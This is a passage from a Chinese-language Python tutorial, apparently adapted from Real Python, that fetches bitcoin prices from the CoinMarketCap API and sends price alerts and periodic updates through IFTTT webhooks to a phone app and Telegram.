= 'https://api.coinmarketcap.com/v1/ticker/bitcoin/' >>>response = requests.get(bitcoin_api_url) >>>response_json = response.json() >>>type(response_json) # The API returns a list <class 'list'> >>># Bitcoin data is the first element of the list >>>response_json[0] {'id': 'bitcoin', 'name': 'Bitcoin', 'symbol': 'BTC', 'rank': '1', 'price_usd': '10226.7', 'price_btc': '1.0', '24h_volume_usd': '7585280000.0', 'market_cap_usd': '172661078165', 'available_supply': '16883362.0', 'total_supply': '16883362.0', 'max_supply': '21000000.0', 'percent_change_1h': '0.67', 'percent_change_24h': '0.78', 'percent_change_7d': '-4.79', 'last_updated': '1519465767'} 复制代码上面我们感兴趣的是price_usd。发送一个测试的IFTTT提醒现在我们可以转到IFTTT上面来了。使用IFTTT之前，我们需要创建一个新账户IFTTT，然后安装移动端app（如果你想在手机上接到通知） 设置成功后就开始创建一个新的IFTTT applet用于测试。创建一个新的测试applet，可以按一下步骤进行：点击大的 "this" 按钮； 搜索 "webhooks" 服务，然后选择 "Receive a web request"触发; 重命名event为test_event; 然后选择大的 "that" 按钮； 搜索 "notifications" 服务，然后选择 "send a notification from the IFTTT app" 改变短信息为 I just triggered my first IFTTT action!，然后点击 "Create action"; 点击 "Finish" 按钮，完成； 要看如何使用IFTTT webhooks，请点击 "Documentation" 按钮documentation页有webhooks的URL。https://maker.ifttt.com/trigger/{event}/with/key/{your-IFTTT-key} 复制代码接着，你需要将{event}替换为你在步骤3中自己起的名字。{your-IFTTT-key}是已经有了的IFTTT key。现在你可以复制webhook URL，然后开启另一个console。同样导入requests然后发送post请求。>>>import requests >>># Make sure that your key is in the URL >>>ifttt_webhook_url = 'https://maker.ifttt.com/trigger/test_event/with/key/{your-IFTTT-key}' >>>requests.post(ifttt_webhook_url) <Response [200]> 复制代码运行完之后，你可以看到：创建IFTTT Applets前面只是测试，现在我们到了最主要的部分了。再开始代码之前，我们需要创建两个新的IFTTT applets：一个是比特币价格的紧急通知，另一个是常规的更新。比特币价格紧急通知的applet：选择 "webhooks" 服务，并且选择 "Receive a web request" 的触发; 命名一个事件 event 为 bitcoin_price_emergency; 对于响应的动作部分，选择 "Notifications"服务，然后继续选择 "send a rich notification from the IFTTT app" 动作； 提供一个标题，像 "Bitcoin price emergency!" 设置短信息 为 Bitcoin price is at ${{Value1}}. Buy or sell now!(我们一会儿将返回到{{Value1}}部分) 可选的，你可以加入一个URL link 到 Coinmarketcap Bitcoin page：https://coinmarketcap.com/currencies/bitcoin/; 创建动作，然后完成applet的设置； 常规价格更新的applet：一样的选择 "webhooks" 服务，并且选择 "Receive a web request" 的触发; 命名一个事件 event 为 bitcoin_price_update; 对于响应的动作部分，选择 "Telegram" 服务，然后继续选择 "Send message" 动作； 设置短信信息文本为：Latest bitcoin prices: {{Value1}}； 创建动作，然后完成applet的设置； 将所有连到一起现在，我们有了IFTTT，下面就是代码了。你将通过创建像下面一样标准的Python命令行app骨架来开始。 代码码上去，然后保存为 bitcoin_notifications.py:import requests import time from datetime import datetime def main(): pass if __name__ == '__main__': main() 复制代码接着，我们还要将前面两个Python console部分的代码转换为两个函数，函数将返回最近比特币的价格，然后将它们分别post到IFTTT的webhook上去。将下面的代码加入到main()函数之上。BITCOIN_API_URL = 'https://api.coinmarketcap.com/v1/ticker/bitcoin/' IFTTT_WEBHOOKS_URL = 'https://maker.ifttt.com/trigger/{}/with/key/{your-IFTTT-key}' def get_latest_bitcoin_price(): response = requests.get(BITCOIN_API_URL) response_json = response.json() # Convert the price to a floating point number return float(response_json[0]['price_usd']) def post_ifttt_webhook(event, value): # The payload that will be sent to IFTTT service data = {'value1': value} # inserts our desired event ifttt_event_url = IFTTT_WEBHOOKS_URL.format(event) # Sends a HTTP POST request to the webhook URL requests.post(ifttt_event_url, json=data) 复制代码除了将价格从一个字符串变成浮点数之外，get_latest_bitcoin_price基本没太变。psot_ifttt_webhook需要两个参数：event和value。event参数与我们之前命名的触发名字对应。同时，IFTTT的webhooks允许我们通过requests发送额外的数据，数据作为JSON格式。这就是为什么我们需要value参数：当设置我们的applet的时候，我们在信息文本中有{{Value1}}标签。这个标签会被 JSON payload 中的values1文本替换。requests.post()函数允许我们通过设置json关键字发送额外的JSON数据。现在我们可以继续到我们app的核心main函数码代码了。它包括一个while True的循环，由于我们想要app永远的运行下去。在循环中，我们调用Coinmarkertcap API来得到最近比特币的价格，并且记录当时的日期和时间。根据目前的价格，我们将决定我们是否想要发送一个紧急通知。对于我们的常规更新我们将把目前的价格和日期放入到一个bitcoin_history的列表里。一旦列表达到一定的数量(比如说5个)，我们将包装一下，将更新发送出去，然后重置历史，以为后续的更新。一个需要注意的地方是避免发送信息太频繁，有两个原因：Coinmarketcap API 声明他们只有每隔5分钟更新一次，因此更新太频也没有用 如果你的app发送太多的请求道 Coinmarketcap API，你的IP可能会被ban 因此，我们最后加入了 "go to sleep" 睡眠，设置至少5分钟才能得到新数据。下面的代码实现了我们的需要的特征：BITCOIN_PRICE_THRESHOLD = 10000 # Set this to whatever you like def main(): bitcoin_history = [] while True: price = get_latest_bitcoin_price() date = datetime.now() bitcoin_history.append({'date': date, 'price': price}) # Send an emergency notification if price < BITCOIN_PRICE_THRESHOLD: post_ifttt_webhook('bitcoin_price_emergency', price) # Send a Telegram notification # Once we have 5 items in our bitcoin_history send an update if len(bitcoin_history) == 5: post_ifttt_webhook('bitcoin_price_update', format_bitcoin_history(bitcoin_history)) # Reset the history bitcoin_history = [] # Sleep for 5 minutes # (For testing purposes you can set it to a lower number) time.sleep(5 * 60) 复制代码我们几乎快成功了。但是还缺一个format_bitcoin_history函数。它将bitcoin_history作为参数，然后使用被Telegram允许的基本HTML标签（像 , , 等等）变换格式。将这个函数复制到main()之上。def format_bitcoin_history(bitcoin_history): rows = [] for bitcoin_price in bitcoin_history: # Formats the date into a string: '24.02.2018 15:09' date = bitcoin_price['date'].strftime('%d.%m.%Y %H:%M') price = bitcoin_price['price'] # (bold) tag creates bolded text # 24.02.2018 15:09: $10123.4 row = '{}: ${}'.format(date, price) rows.append(row) # Use a (break) tag to create a new line # Join the rows delimited by tag: row1 row2 row3 return ' '.join(rows) 复制代码最后在手机上显示的结果是这样的：然后，我们的功能就完成了，只要比特币的价格一更新，手机移动端就有提示。当然，如果你嫌烦也可以在app里面off掉。参考：https://realpython.com/python-bitcoin-ifttt/关注微信公众号Python数据科学，获取 120G 人工智能 学习资料。